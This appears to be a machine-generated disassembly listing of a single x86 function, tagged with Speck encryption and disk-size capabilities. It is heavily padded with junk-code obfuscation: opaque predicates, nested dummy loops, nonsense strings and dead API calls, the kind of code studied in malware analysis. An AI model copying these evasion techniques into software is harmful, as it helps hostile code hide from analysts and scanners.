Function at 0x100178d5
Capabilities:
Encrypt data using speck
Get disk size

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005fcf8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1010
call fcn.1005ae50
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xbc], 0x8256a9ef
mov dword [ebp - 0xac], 0xfffffff7
mov dword [ebp - 0x3a0], 1
mov dword [ebp - 0x9e8], 0
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0xdc4], eax
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0xd98], eax
cmp dword [ebp - 0xbc], 0
jne 0x1001797c
mov eax, dword [ebp - 0xbc]
cmp eax, dword [ebp - 0xbc]
jl 0x10017961
mov dword [ebp - 0x6d4], 1
jmp 0x10017968
and dword [ebp - 0x6d4], 0
mov eax, dword [ebp - 0x6d4]
add eax, 3
jne 0x1001797c
and dword [ebp - 0x8b8], 0
jmp 0x10017986
mov dword [ebp - 0x8b8], 1
mov eax, dword [ebp - 0xbc]
cmp eax, dword [ebp - 0x8b8]
jge 0x100179a9
cmp dword [ebp - 0xac], 0
je 0x100179a9
mov dword [ebp - 0x8c0], 1
jmp 0x100179b0
and dword [ebp - 0x8c0], 0
mov eax, dword [ebp - 0x8c0]
mov dword [ebp - 0x3a0], eax
mov eax, 0x407858f9
test eax, eax
je 0x10017a34
mov dword [ebp - 0x1f0], 0
jmp 0x100179de
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 2
jge 0x100179fa
mov eax, dword [ebp - 0x1f0]
mov dword [ebp + eax*4 - 0xdf4], 0x4dbb
jmp 0x100179d1
mov dword [ebp - 0xac], 0
jmp 0x10017a13
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 2
jge 0x10017a2f
mov eax, dword [ebp - 0xac]
mov dword [ebp + eax*4 - 0xdf4], 0x5440
jmp 0x10017a06
jmp 0x10017b92
mov dword [ebp - 0x23c], 0x373a4c92
mov dword [ebp - 0x8c8], 0x57f39cee
push 1
lea ecx, [ebp - 0xc08]
call fcn.1000354d
and dword [ebp - 4], 0
mov dword [ebp - 0x8d8], 0
mov dword [ebp - 0x1bc], 0
jmp 0x10017a7c
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 1
jge 0x10017a9b
push dword [ebp - 0x1bc]
lea ecx, [ebp - 0xc08]
call fcn.100035ec
and dword [eax], 0
jmp 0x10017a6f
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0xe6c], eax
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0xda0], eax
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0xe84], eax
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x8c8], eax
mov eax, dword [ebp - 0x8c8]
mov dword [ebp - 0x3a0], eax
mov eax, dword [ebp - 0x3a0]
cmp eax, dword [ebp - 0xac]
jg 0x10017af1
mov dword [ebp - 0x8d0], 1
jmp 0x10017af8
and dword [ebp - 0x8d0], 0
push 0
lea ecx, [ebp - 0xc08]
call fcn.100035ec
mov ecx, dword [ebp - 0x8d0]
mov dword [eax], ecx
push 0
lea ecx, [ebp - 0xc08]
call fcn.100035ec
mov eax, dword [eax]
inc eax
test eax, eax
jg 0x10017b2d
mov dword [ebp - 0x970], 1
jmp 0x10017b34
and dword [ebp - 0x970], 0
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0xda8], eax
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0xe7c], eax
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x8d8], eax
cmp dword [ebp - 0x8d8], 0x9e14
jg 0x10017b70
mov dword [ebp - 0x8e0], 1
jmp 0x10017b77
and dword [ebp - 0x8e0], 0
mov eax, dword [ebp - 0x8e0]
mov dword [ebp - 0x9e8], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc08]
call fcn.100035d0
cmp dword [0x1013e3d8], 0
jne 0x1001d754
or dword [ebp - 0xca4], 0xffffffff
or dword [ebp - 0xca0], 0xffffffff
or dword [ebp - 0xc9c], 0xffffffff
or dword [ebp - 0xc98], 0xffffffff
lea ecx, [ebp - 0x385]
call fcn.100035fb
push eax
lea eax, [ebp - 0xc94]
push eax
lea eax, [ebp - 0xca4]
push eax
lea ecx, [ebp - 0xf30]
call fcn.100035fe
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x3cc]
call fcn.100035aa
mov dword [ebp - 4], 1
mov dword [ebp - 0x114], 0xffff
mov dword [ebp - 0xa4], 0xebda1846
mov dword [ebp - 0xe4], 0xc1676565
mov dword [ebp - 0xb1c], 0xfffffffe
mov dword [ebp - 0x90], 0
jmp 0x10017c38
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 1
jge 0x10017c51
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0x68], 0x28405cef
jmp 0x10017c2b
mov dword [ebp - 0x90], 0
jmp 0x10017c6a
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 3
jge 0x10017c86
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0xef8], 0xb986af20
jmp 0x10017c5d
push 2
lea ecx, [ebp - 0x3cc]
call fcn.100035ec
cmp dword [eax], 0
je 0x10017dbc
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x68], 1
jl 0x10017cb2
cmp dword [ebp - 0xa4], 0
je 0x10017cc7
cmp dword [ebp - 0xa4], 0
je 0x10017cc7
mov dword [ebp - 0x8e8], 1
jmp 0x10017cce
and dword [ebp - 0x8e8], 0
mov eax, dword [ebp - 0x114]
cmp eax, dword [ebp - 0x8e8]
jge 0x10017ce8
mov dword [ebp - 0xaf4], 1
jmp 0x10017cef
and dword [ebp - 0xaf4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x68]
mov dword [ebp - 0xdb0], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov esi, dword [ebp + ecx - 0x68]
add esi, 0x88a9
imul esi, dword [ebp + eax - 0x68]
push 2
lea ecx, [ebp - 0x3cc]
call fcn.100035ec
cmp esi, dword [eax]
jl 0x10017d37
mov dword [ebp - 0x8f0], 1
jmp 0x10017d3e
and dword [ebp - 0x8f0], 0
push 0
lea ecx, [ebp - 0x3cc]
call fcn.100035ec
mov eax, dword [eax]
cmp eax, dword [ebp - 0x8f0]
jne 0x10017d73
push 0
lea ecx, [ebp - 0x3cc]
call fcn.100035ec
cmp dword [eax], 0
je 0x10017d73
mov dword [ebp - 0x918], 1
jmp 0x10017d7a
and dword [ebp - 0x918], 0
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x68]
push 2
lea ecx, [ebp - 0x3cc]
call fcn.100035ec
mov ecx, dword [ebp - 0x918]
add ecx, dword [eax]
imul eax, ecx, 0x189d
cmp eax, esi
jl 0x10017dbc
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x68], 0
je 0x10017dbc
mov dword [ebp - 0x6dc], 1
jmp 0x10017dc3
and dword [ebp - 0x6dc], 0
imul eax, dword [ebp - 0x6dc], 0xc877
test eax, eax
jne 0x10017dec
push 2
lea ecx, [ebp - 0x3cc]
call fcn.100035ec
cmp dword [eax], 0
jne 0x10017dec
and dword [ebp - 0x808], 0
jmp 0x10017df6
mov dword [ebp - 0x808], 1
push 3
lea ecx, [ebp - 0x3cc]
call fcn.100035ec
mov ecx, dword [ebp - 0x808]
cmp ecx, dword [eax]
je 0x10017e19
mov dword [ebp - 0x3e8], 1
jmp 0x10017e20
and dword [ebp - 0x3e8], 0
mov eax, dword [ebp - 0xe4]
cmp dword [ebp - 0x3e8], eax
jg 0x10017e3a
mov dword [ebp - 0x810], 1
jmp 0x10017e41
and dword [ebp - 0x810], 0
mov eax, dword [ebp - 0x810]
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x114], 0x14
jmp 0x10017e66
mov eax, dword [ebp - 0x114]
dec eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 2
jle 0x100182d5
mov dword [ebp - 0xa8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x68]
add eax, dword [ebp - 0xa4]
cmp eax, dword [ebp - 0xe4]
jg 0x10017ea1
mov dword [ebp - 0x3f0], 1
jmp 0x10017ea8
and dword [ebp - 0x3f0], 0
cmp dword [ebp - 0x3f0], 0
je 0x10017ebd
mov dword [ebp - 0x818], 1
jmp 0x10017ec4
and dword [ebp - 0x818], 0
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0x818], eax
je 0x10017ede
mov dword [ebp - 0x3f8], 1
jmp 0x10017ee5
and dword [ebp - 0x3f8], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x3f8], eax
je 0x10017eff
mov dword [ebp - 0x820], 1
jmp 0x10017f06
and dword [ebp - 0x820], 0
mov eax, dword [ebp - 0x820]
sub eax, 8
cmp eax, dword [ebp - 0x114]
jle 0x10017f23
mov dword [ebp - 0x400], 1
jmp 0x10017f2a
and dword [ebp - 0x400], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x68]
cmp dword [ebp - 0x400], eax
je 0x10017f48
mov dword [ebp - 0xafc], 1
jmp 0x10017f4f
and dword [ebp - 0xafc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x68]
mov dword [ebp - 0xe8c], eax
mov eax, dword [ebp - 0xa8]
add eax, 3
imul eax, dword [ebp - 0xa8]
test eax, eax
je 0x1001815a
mov dword [ebp - 0xa4], 3
jmp 0x10017f90
mov eax, dword [ebp - 0xa4]
dec eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0
jl 0x10018155
mov dword [ebp - 0xa8], 1
mov dword [ebp - 0x828], 0x1298
mov dword [ebp - 0xb0c], str.dhcbqms_zeorl_hhgkiwoc_mpbbqwc_ucqf_eaushntsd_wajzemfjc_egdfndw_wqqceepmc_salsuhf_eiod_ernpnj_ebqtrskp
cmp dword [ebp - 0x828], 0x1499
jle 0x100180db
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
and dword [ebp - 0x24c], 0
jmp 0x10017fe9
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0x5e25
jge 0x100180db
and dword [ebp - 0x1c4], 0
jmp 0x1001800f
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0x2fce
jge 0x100180d6
and dword [ebp - 0x244], 0
jmp 0x10018035
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0xb58
jge 0x100180d1
and dword [ebp - 0x1cc], 0
jmp 0x1001805b
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0x6094
jge 0x100180cc
mov eax, dword [ebp - 0x1c4]
sub eax, dword [ebp - 0x244]
mov ecx, dword [ebp - 0x1cc]
sar eax, cl
and eax, dword [ebp - 0x24c]
cdq
mov dword [ebp - 0x9f4], eax
mov dword [ebp - 0x9f0], edx
push dword [ebp - 0x9f0]
push dword [ebp - 0x9f4]
lea ecx, [ebp - 0xff0]
call fcn.10001ac4
pop ecx
pop ecx
mov dword [ebp - 0xb04], eax
mov ecx, dword [ebp - 0xb04]
call fcn.100033b6
push eax
call fcn.10046ccf
pop ecx
lea ecx, [ebp - 0xff0]
call fcn.100033ac
jmp 0x1001804e
jmp 0x10018028
jmp 0x10018002
jmp 0x10017fdc
mov byte [ebp - 0x102], 0
movzx eax, byte [ebp - 0x102]
test eax, eax
je 0x10018108
push 0x202a
push 0
push 0x1b79
push 0
push 0
push 0x2120
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov byte [ebp - 4], 2
cmp dword [ebp - 0x828], 0x1268
jge 0x10018124
push dword [ebp - 0xb0c]
call fcn.10046ccf
pop ecx
jmp 0x10018140
mov dword [ebp - 4], 1
jmp 0x10018150
jmp 0x10017f83
jmp 0x100182d0
mov dword [ebp - 0x408], 1
mov dword [ebp - 0xb24], 0xdaee255
mov dword [ebp - 0xe4], 0
jmp 0x10018187
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0x1d
jge 0x100182d0
mov dword [ebp - 0x1d4], 0x6307
push 0
lea ecx, [ebp - 0x3cc]
call fcn.100035ec
mov eax, dword [eax]
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0xa8], 0
jne 0x100181d9
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1d4]
neg ecx
cmp ecx, dword [ebp + eax - 0x68]
je 0x100181d9
and dword [ebp - 0xb14], 0
jmp 0x100181e3
mov dword [ebp - 0xb14], 1
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0xdb8], eax
mov eax, dword [ebp - 0x408]
cmp eax, dword [ebp - 0x1d4]
jne 0x10018209
mov dword [ebp - 0x830], 1
jmp 0x10018210
and dword [ebp - 0x830], 0
mov eax, dword [ebp - 0x1d4]
imul eax, dword [ebp - 0x830]
imul eax, eax, 0xfffa
test eax, eax
je 0x1001823c
cmp dword [ebp - 0xa8], 0
je 0x1001823c
mov dword [ebp - 0x410], 1
jmp 0x10018243
and dword [ebp - 0x410], 0
mov eax, dword [ebp - 0x1d4]
cmp dword [ebp - 0x410], eax
jge 0x1001825d
mov dword [ebp - 0x838], 1
jmp 0x10018264
and dword [ebp - 0x838], 0
mov eax, dword [ebp - 0x838]
add eax, 5
sub eax, dword [ebp - 0xb1c]
cmp eax, dword [ebp - 0xa8]
jne 0x1001828d
mov eax, 0xbcc9df78
test eax, eax
jne 0x1001828d
and dword [ebp - 0x418], 0
jmp 0x10018297
mov dword [ebp - 0x418], 1
mov eax, dword [ebp - 0xb24]
cmp dword [ebp - 0x418], eax
jg 0x100182b1
mov dword [ebp - 0x840], 1
jmp 0x100182b8
and dword [ebp - 0x840], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x840]
mov dword [ebp + eax - 0xef8], ecx
jmp 0x1001817a
jmp 0x10017e59
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3cc]
call fcn.100035d0
mov byte [ebp - 0x184], 0xa
mov byte [ebp - 0x183], 0xc2
mov byte [ebp - 0x182], 2
mov byte [ebp - 0x181], 0x1e
mov byte [ebp - 0x180], 4
mov byte [ebp - 0x17f], 0x17
mov byte [ebp - 0x17e], 8
mov byte [ebp - 0x17d], 0x4b
mov byte [ebp - 0x17c], 1
mov byte [ebp - 0x17b], 0x4b
mov byte [ebp - 0x17a], 0
mov byte [ebp - 0x179], 0x2e
mov byte [ebp - 0x178], 3
mov byte [ebp - 0x177], 0x25
mov byte [ebp - 0x176], 5
mov byte [ebp - 0x175], 2
mov byte [ebp - 0x174], 6
mov byte [ebp - 0x173], 0x5f
mov byte [ebp - 0x172], 9
mov byte [ebp - 0x171], 0x57
mov byte [ebp - 0x170], 7
mov byte [ebp - 0x16f], 0x56
mov byte [ebp - 0x16e], 0xb
mov byte [ebp - 0x16d], 0x5e
mov dword [ebp - 0x254], 0x7f6af112
mov dword [ebp - 0xe94], 1
mov dword [ebp - 0xb2c], 0x2fbb6bc3
mov dword [ebp - 0xdc0], 0x26d8d383
mov dword [ebp - 0xe88], 0xfffffff6
mov dword [ebp - 0xdc8], 0x2d1a4e66
mov dword [ebp - 0x254], 0xffffffe9
jmp 0x100183e1
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0xfffffffe
jg 0x10018573
mov dword [ebp - 0x25c], 0x603fa75c
mov dword [ebp - 0xee0], 0xfffffffb
push 2
lea ecx, [ebp - 0xe38]
call fcn.1000354d
mov dword [ebp - 4], 4
mov dword [ebp - 0x3a8], 0x326874be
mov dword [ebp - 0x1dc], 0
jmp 0x10018439
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 2
jge 0x1001845b
push dword [ebp - 0x1dc]
lea ecx, [ebp - 0xe38]
call fcn.100035ec
mov dword [eax], 1
jmp 0x1001842c
mov dword [ebp - 0x25c], 0
jmp 0x10018474
mov eax, dword [ebp - 0x25c]
dec eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0xffffffeb
jge 0x10018524
mov dword [ebp - 0xdd0], 0xfa72c25f
and dword [ebp - 0xcb8], 0
and dword [ebp - 0xcb4], 0
and dword [ebp - 0xcb0], 0
and dword [ebp - 0xcac], 0
lea ecx, [ebp - 0x38d]
call fcn.100035fb
push eax
lea eax, [ebp - 0xca8]
push eax
lea eax, [ebp - 0xcb8]
push eax
lea ecx, [ebp - 0xf78]
call fcn.100035fe
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xf1c]
call fcn.100035aa
mov eax, dword [ebp - 0x3a8]
inc eax
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 0xc93c
jl 0x10018501
mov dword [ebp - 0x420], 1
jmp 0x10018508
and dword [ebp - 0x420], 0
mov eax, dword [ebp - 0x420]
mov dword [ebp - 0xb2c], eax
lea ecx, [ebp - 0xf1c]
call fcn.100035d0
jmp 0x10018467
mov byte [ebp - 0xfe], 0
movzx eax, byte [ebp - 0xfe]
test eax, eax
je 0x1001855f
push 0x1639
push 0x8b3
push 0xd21
push 0x11f9
push 0x55b
push 0x24f3
push 0x18da
call dword [sym.imp.GDI32.dll_RoundRect]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe38]
call fcn.100035d0
jmp 0x100183d4
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x184]
and eax, 0xae
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x184]
or ecx, 0xae
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x184]
mov word [ebp + eax*2 - 0xd44], cx
mov dword [ebp - 0xb34], 6
mov dword [ebp - 0x850], 0x5f394a2a
mov dword [ebp - 0x430], 0xef889a27
mov dword [ebp - 0xb3c], 1
mov dword [ebp - 0xe90], 8
mov dword [ebp - 0x1e4], 0
jmp 0x100185fd
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 1
jge 0x10018619
mov eax, dword [ebp - 0x1e4]
mov dword [ebp + eax*4 - 0xc4], 0x1c157478
jmp 0x100185f0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc4]
mov dword [ebp - 0xdd8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc4]
mov dword [ebp - 0xec0], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
push 4
pop edx
imul edx, edx, 0
mov edx, dword [ebp + edx - 0xc4]
sub edx, 8
neg edx
add edx, dword [ebp + ecx - 0xc4]
cmp edx, dword [ebp + eax - 0xc4]
jne 0x10018679
mov dword [ebp - 0x848], 1
jmp 0x10018680
and dword [ebp - 0x848], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc4]
cmp dword [ebp - 0x848], eax
jne 0x100186a1
mov dword [ebp - 0x428], 1
jmp 0x100186a8
and dword [ebp - 0x428], 0
mov eax, dword [ebp - 0xb34]
mov dword [ebp - 0x850], eax
mov eax, dword [ebp - 0x428]
mov dword [ebp - 0x430], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x850]
imul ecx, dword [ebp - 0x430]
sub ecx, dword [ebp + eax - 0xc4]
mov dword [ebp - 0xb3c], ecx
mov dword [ebp - 0x60], 2
and dword [ebp - 0x3b0], 0
jmp 0x100186f8
mov eax, dword [ebp - 0x60]
inc eax
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x18
jae 0x10018e14
mov dword [ebp - 0x1b4], 0
mov dword [ebp - 0x40], 0xc6e5
push 2
lea ecx, [ebp - 0xb64]
call fcn.1000354d
mov dword [ebp - 4], 5
mov dword [ebp - 0x264], 0
jmp 0x10018740
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 2
jge 0x1001875f
push dword [ebp - 0x264]
lea ecx, [ebp - 0xb64]
call fcn.100035ec
or dword [eax], 0xffffffff
jmp 0x10018733
cmp dword [ebp - 0x1b4], 0
jne 0x10018774
mov dword [ebp - 0x438], 1
jmp 0x1001877b
and dword [ebp - 0x438], 0
xor eax, eax
inc eax
je 0x10018795
cmp dword [ebp - 0x1b4], 0
je 0x10018795
mov dword [ebp - 0x858], 1
jmp 0x1001879c
and dword [ebp - 0x858], 0
cmp dword [ebp - 0x858], 0
je 0x100187b1
mov dword [ebp - 0xb44], 1
jmp 0x100187b8
and dword [ebp - 0xb44], 0
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xde0], eax
mov eax, dword [ebp - 0x1b4]
cmp eax, dword [ebp - 0x1b4]
jne 0x100187db
mov dword [ebp - 0x860], 1
jmp 0x100187e2
and dword [ebp - 0x860], 0
mov eax, dword [ebp - 0x438]
cmp eax, dword [ebp - 0x860]
jle 0x100189a0
mov dword [ebp - 0x40], 0x11
jmp 0x10018804
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x1a
jg 0x1001899b
mov byte [ebp - 0xcd], 0
movzx eax, byte [ebp - 0xcd]
test eax, eax
je 0x1001882b
push 0x12a3
call dword [sym.imp.USER32.dll_MessageBeep]
mov byte [ebp - 0x100], 0
mov dword [ebp - 0x440], 0x2137
mov dword [ebp - 0xb4c], str.obk_oykk_jvzdpc_qzvton_clr_eiqdg
cmp dword [ebp - 0x440], 0x2397
jle 0x10018939
and dword [ebp - 0x1f8], 0
jmp 0x1001886c
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0x5fb5
jge 0x10018939
and dword [ebp - 0x2e0], 0
jmp 0x10018892
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0x5e2d
jge 0x10018934
and dword [ebp - 0x26c], 0
jmp 0x100188b8
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0x19f0
jge 0x1001892f
and dword [ebp - 0x290], 0
jmp 0x100188da
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0x4f17
jge 0x1001892a
mov esi, dword [ebp - 0x26c]
mov ecx, dword [ebp - 0x290]
shl esi, cl
mov eax, dword [ebp - 0x1f8]
cdq
idiv dword [ebp - 0x2e0]
or edx, esi
mov eax, edx
cdq
mov dword [ebp - 0xa00], eax
mov dword [ebp - 0x9fc], edx
push dword [ebp - 0x9fc]
push dword [ebp - 0xa00]
mov ecx, 0x10079358
call fcn.100033d6
jmp 0x100188cd
jmp 0x100188ab
jmp 0x10018885
jmp 0x1001885f
movzx eax, byte [ebp - 0x100]
test eax, eax
je 0x1001894a
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
mov byte [ebp - 4], 6
cmp dword [ebp - 0x440], 0x1d7c
jge 0x1001896a
mov edx, dword [ebp - 0xb4c]
mov ecx, 0x10079358
call fcn.1000562f
jmp 0x10018986
mov dword [ebp - 4], 5
jmp 0x10018996
jmp 0x100187fd
jmp 0x10018d77
mov dword [ebp - 0x138], 0x49a2f381
mov dword [ebp - 0xb0], 1
mov dword [ebp - 0xccc], 0x7be7
mov dword [ebp - 0xcc8], 0x7be7
mov dword [ebp - 0xcc4], 0x7be7
mov dword [ebp - 0xcc0], 0x7be7
lea ecx, [ebp - 0x395]
call fcn.100035fb
push eax
lea eax, [ebp - 0xcbc]
push eax
lea eax, [ebp - 0xccc]
push eax
lea ecx, [ebp - 0xf38]
call fcn.100035fe
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x96c]
call fcn.100035aa
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xe98], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xde8], eax
mov eax, dword [ebp - 0xb0]
sub eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x138]
jl 0x10018a44
mov dword [ebp - 0x868], 1
jmp 0x10018a4b
and dword [ebp - 0x868], 0
cmp dword [ebp - 0x868], 0xfffffff8
je 0x10018a60
mov dword [ebp - 0x448], 1
jmp 0x10018a67
and dword [ebp - 0x448], 0
mov eax, dword [ebp - 0x40]
imul eax, dword [ebp - 0x448]
cmp eax, dword [ebp - 0x138]
jne 0x10018a85
mov dword [ebp - 0x870], 1
jmp 0x10018a8c
and dword [ebp - 0x870], 0
imul esi, dword [ebp - 0x870], 0x6c8a
add esi, 0xffff
push 3
lea ecx, [ebp - 0x96c]
call fcn.100035ec
imul esi, dword [eax]
mov dword [ebp - 0x450], esi
push 0
lea ecx, [ebp - 0xb64]
call fcn.100035ec
mov ecx, dword [ebp - 0x450]
mov dword [eax], ecx
cmp dword [ebp - 0x450], 0
jne 0x10018ae0
push 7
pop eax
test eax, eax
jne 0x10018ae0
and dword [ebp - 0x878], 0
jmp 0x10018aea
mov dword [ebp - 0x878], 1
mov eax, dword [ebp - 0x138]
cmp eax, dword [ebp - 0x878]
jne 0x10018b04
mov dword [ebp - 0xb54], 1
jmp 0x10018b0b
and dword [ebp - 0xb54], 0
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0xed8], eax
imul eax, dword [ebp - 0xb0], 0xfffd
cmp dword [ebp - 0x138], eax
jge 0x10018b35
mov dword [ebp - 0x458], 1
jmp 0x10018b3c
and dword [ebp - 0x458], 0
mov eax, dword [ebp - 0x138]
cmp dword [ebp - 0x458], eax
jg 0x10018b56
mov dword [ebp - 0xbd8], 1
jmp 0x10018b5d
and dword [ebp - 0xbd8], 0
push 3
lea ecx, [ebp - 0x96c]
call fcn.100035ec
push 2
lea ecx, [ebp - 0x96c]
call fcn.100035ec
push 0
lea ecx, [ebp - 0xb64]
call fcn.100035ec
cmp dword [eax], 0
je 0x10018d54
mov dword [ebp - 0xb0], 3
jmp 0x10018ba6
mov eax, dword [ebp - 0xb0]
dec eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0
jl 0x10018d52
mov byte [ebp - 0xd7], 0
movzx eax, byte [ebp - 0xd7]
test eax, eax
je 0x10018bd6
push 0
push 0
push 0x1234
push 0
call dword [sym.imp.USER32.dll_AppendMenuA]
mov dword [ebp - 0x40], 0
jmp 0x10018be6
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 1
jg 0x10018d4d
mov dword [ebp - 0x880], 0x74a
mov dword [ebp - 0xb48], str.gtn_mlil_ntht_isi_ttkt_etihxg_eukicevnt_pvu_ownhvy_uwchwy_xdg
cmp dword [ebp - 0x880], 0x991
jle 0x10018cbc
and dword [ebp - 0x208], 0
jmp 0x10018c2a
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0x3812
jge 0x10018cbc
and dword [ebp - 0x200], 0
jmp 0x10018c50
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0x696d
jge 0x10018cb7
and dword [ebp - 0x298], 0
jmp 0x10018c72
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0x6c0c
jge 0x10018cb5
mov eax, dword [ebp - 0x200]
xor eax, dword [ebp - 0x298]
or eax, dword [ebp - 0x208]
cdq
mov dword [ebp - 0xa0c], eax
mov dword [ebp - 0xa08], edx
push dword [ebp - 0xa08]
push dword [ebp - 0xa0c]
mov ecx, 0x10079358
call fcn.100033d6
jmp 0x10018c65
jmp 0x10018c43
jmp 0x10018c1d
mov byte [ebp - 4], 9
cmp dword [ebp - 0x880], 0x631
jge 0x10018cdc
mov edx, dword [ebp - 0xb48]
mov ecx, 0x10079358
call fcn.1000562f
jmp 0x10018cf8
mov dword [ebp - 4], 8
jmp 0x10018d08
push dword [ebp - 0xb0]
lea ecx, [ebp - 0x96c]
call fcn.100035ec
mov esi, eax
push dword [ebp - 0xb0]
lea ecx, [ebp - 0x96c]
call fcn.100035ec
mov eax, dword [eax]
mov dword [esi], eax
push dword [ebp - 0x40]
lea ecx, [ebp - 0xb64]
call fcn.100035ec
cmp dword [eax], 0
je 0x10018d48
jmp 0x10018bdf
jmp 0x10018bdf
jmp 0x10018b99
jmp 0x10018d68
mov dword [ebp - 0xae8], 0x2fe8
mov dword [ebp - 0xae8], 0x16d0046b
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x96c]
call fcn.100035d0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb64]
call fcn.100035d0
mov eax, dword [ebp - 0x60]
sub eax, dword [ebp - 0x3b0]
movzx eax, byte [ebp + eax - 0x186]
movzx eax, word [ebp + eax*2 - 0xd44]
